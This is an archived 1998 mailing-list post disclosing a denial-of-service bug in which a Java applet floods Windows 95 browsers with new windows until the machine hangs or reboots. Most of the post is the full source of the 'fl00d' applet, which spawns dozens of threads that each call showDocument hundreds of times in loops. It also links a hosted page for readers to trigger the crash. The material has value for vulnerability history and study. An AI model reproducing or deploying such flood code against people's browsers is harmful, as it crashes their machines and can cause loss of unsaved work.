Java applets causes win95 to reboot ----------------------------------- (If this is known stuff, i appologize) I have successfully been able to reboot several win95 machines with a simple java applet. All the applet does is to try and load new browsers with the showDocument(url, target) function. When trying this on IE3 i only needed one loop with showDocument to make everything freeze, with 10 threads all doing the same thing my computer immediately rebooted after initializing the applets. In IE4 and Netscape you need more threads, and i also used a web page with more applets running at the same time. They have the same effect though, it either hangs or reboots. I have only tried this with relatively slow computers, but my guess is that if you add more threads to each applet or more applets to each webpage more powerful computers will be effected too (if they aren't already). If you want to see if your computer is vulnerable go to http://home1.swipnet.se/~w-10867/fork/fl00d.htm this one messes up my p166, 16M ram for sure. Here's the source... (it could probably be improved alot by a *real* java programmer) Thnx to "Chase" for testing... ------------------------------------------------------------------- // fl00d.class - floods your machine with browsers and eventually // hangs it. Code written by Joe Lindström. // Really sorry about all the unrolled loops, i'm too lazy to // clean it up. import java.applet.Applet; import java.net.URL; import java.net.MalformedURLException; public class fl00d extends Applet implements Runnable{ URL address; Thread t1, t2, t3, t4, t5, t6, t7, t8, t9, t10, t11, t12, t13, t14, t15, t16, t17, t18, t19, bt1, bt2, bt3, bt4, bt5, bt6, bt7, bt8, bt9, bt10, bt11, bt12, bt13, bt14, bt15, bt16, bt17, bt18, bt19, wt1, wt2, wt3, wt4, wt5, wt6, wt7, wt8, wt9, wt10, wt11, wt12, wt13, wt14, wt15, wt16, wt17, wt18, wt19, wbt1, wbt2, wbt3, wbt4, wbt5, wbt6, wbt7, wbt8, wbt9, wbt10, wbt11, wbt12, wbt13, wbt14, wbt15, wbt16, wbt17, wbt18, wbt19; public void init(){ try { address = new URL("http://fl00d.fl00d.fl00d"); }catch(MalformedURLException e) { } } public void start(){ t1 = new Thread(this); t2 = new Thread(this); t3 = new Thread(this); t4 = new Thread(this); t5 = new Thread(this); t6 = new Thread(this); t7 = new Thread(this); t8 = new Thread(this); t9 = new Thread(this); t10 = new Thread(this); t11 = new Thread(this); t12 = new Thread(this); t13 = new Thread(this); t14 = new Thread(this); t15 = new Thread(this); t16 = new Thread(this); t17 = new Thread(this); t18 = new Thread(this); t19 = new Thread(this); bt1 = new Thread(this); bt2 = new Thread(this); bt3 = new Thread(this); bt4 = new Thread(this); bt5 = new Thread(this); bt6 = new Thread(this); bt7 = new Thread(this); bt8 = new Thread(this); bt9 = new Thread(this); bt10 = new Thread(this); bt11 = new Thread(this); bt12 = new Thread(this); bt13 = new Thread(this); bt14 = new Thread(this); bt15 = new Thread(this); bt16 = new Thread(this); bt17 = new Thread(this); bt18 = new Thread(this); bt19 = new Thread(this); wt1 = new Thread(this); wt2 = new Thread(this); wt3 = new Thread(this); wt4 = new Thread(this); wt5 = new Thread(this); wt6 = new Thread(this); wt7 = new Thread(this); wt8 = new Thread(this); wt9 = new Thread(this); wt10 = new Thread(this); wt11 = new Thread(this); wt12 = new Thread(this); wt13 = new Thread(this); wt14 = new Thread(this); wt15 = new Thread(this); wt16 = new Thread(this); wt17 = new Thread(this); wt18 = new Thread(this); wt19 = new Thread(this); wbt1 = new Thread(this); wbt2 = new Thread(this); wbt3 = new Thread(this); wbt4 = new Thread(this); wbt5 = new Thread(this); wbt6 = new Thread(this); wbt7 = new Thread(this); wbt8 = new Thread(this); wbt9 = new Thread(this); wbt10 = new Thread(this); wbt11 = new Thread(this); wbt12 = new Thread(this); wbt13 = new Thread(this); wbt14 = new Thread(this); wbt15 = new Thread(this); wbt16 = new Thread(this); wbt17 = new Thread(this); wbt18 = new Thread(this); wbt19 = new Thread(this); t1.start(); t2.start(); t3.start(); t4.start(); t5.start(); t6.start(); t7.start(); t8.start(); t9.start(); t10.start(); t11.start(); t12.start(); t13.start(); t14.start(); t15.start(); t16.start(); t17.start(); t18.start(); t19.start(); bt1.start(); bt2.start(); bt3.start(); bt4.start(); bt5.start(); bt6.start(); bt7.start(); bt8.start(); bt9.start(); bt10.start(); bt11.start(); bt12.start(); bt13.start(); bt14.start(); bt15.start(); bt16.start(); bt17.start(); bt18.start(); bt19.start(); wt1.start(); wt2.start(); wt3.start(); wt4.start(); wt5.start(); wt6.start(); wt7.start(); wt8.start(); wt9.start(); wt10.start(); wt11.start(); wt12.start(); wt13.start(); wt14.start(); wt15.start(); wt16.start(); wt17.start(); wt18.start(); wt19.start(); wbt1.start(); wbt2.start(); wbt3.start(); wbt4.start(); wbt5.start(); wbt6.start(); wbt7.start(); wbt8.start(); wbt9.start(); wbt10.start(); wbt11.start(); wbt12.start(); wbt13.start(); bt14.start(); wbt15.start(); wbt16.start(); wbt17.start(); wbt18.start(); wbt19.start(); for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } public void stop(){ t1=null; t2=null; t3=null; t4=null; t5=null; t6=null; t7=null; t8=null; t9=null; t10=null; t11=null; t12=null; t13=null; t14=null; t15=null; t16=null; t17=null; t18=null; t19=null; bt1=null; bt2=null; bt3=null; bt4=null; bt5=null; bt6=null; bt7=null; bt8=null; bt9=null; bt10=null; bt11=null; bt12=null; bt13=null; bt14=null; bt15=null; bt16=null; bt17=null; bt18=null; bt19=null; wt1=null; wt2=null; wt3=null; wt4=null; wt5=null; wt6=null; wt7=null; wt8=null; wt9=null; wt10=null; wt11=null; wt12=null; wt13=null; wt14=null; wt15=null; wt16=null; wt17=null; wt18=null; wt19=null; wbt1=null; wbt2=null; wbt3=null; wbt4=null; wbt5=null; wbt6=null; wbt7=null; wbt8=null; wbt9=null; wbt10=null; wbt11=null; wbt12=null; wbt13=null; wbt14=null; wbt15=null; wbt16=null; wbt17=null; wbt18=null; wbt19=null; } public void run(){ while (Thread.currentThread() == t1){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t2){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t3){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t4){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t5){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t6){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t7){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t8){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t9){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t10){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t11){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t12){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t13){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t14){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t15){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t16){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t17){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t18){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t19){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt1){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt2){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt3){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt4){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt5){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt6){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt7){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt8){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt9){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt10){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt11){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt12){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt13){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt14){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt15){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt16){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt17){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt18){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt19){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt1){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt2){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt3){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt4){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt5){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt6){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt7){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt8){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt9){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt10){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt11){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt12){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt13){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt14){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt15){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt16){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt17){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt18){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt19){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt1){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt2){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt3){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt4){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt5){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt6){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt7){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt8){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt9){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt10){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt11){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt12){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt13){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt14){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt15){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt16){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt17){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt18){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt19){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } } } ---------------------------------------------------------------------------------------- Joe Lindström, 17/1 -98
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:39:46 PDT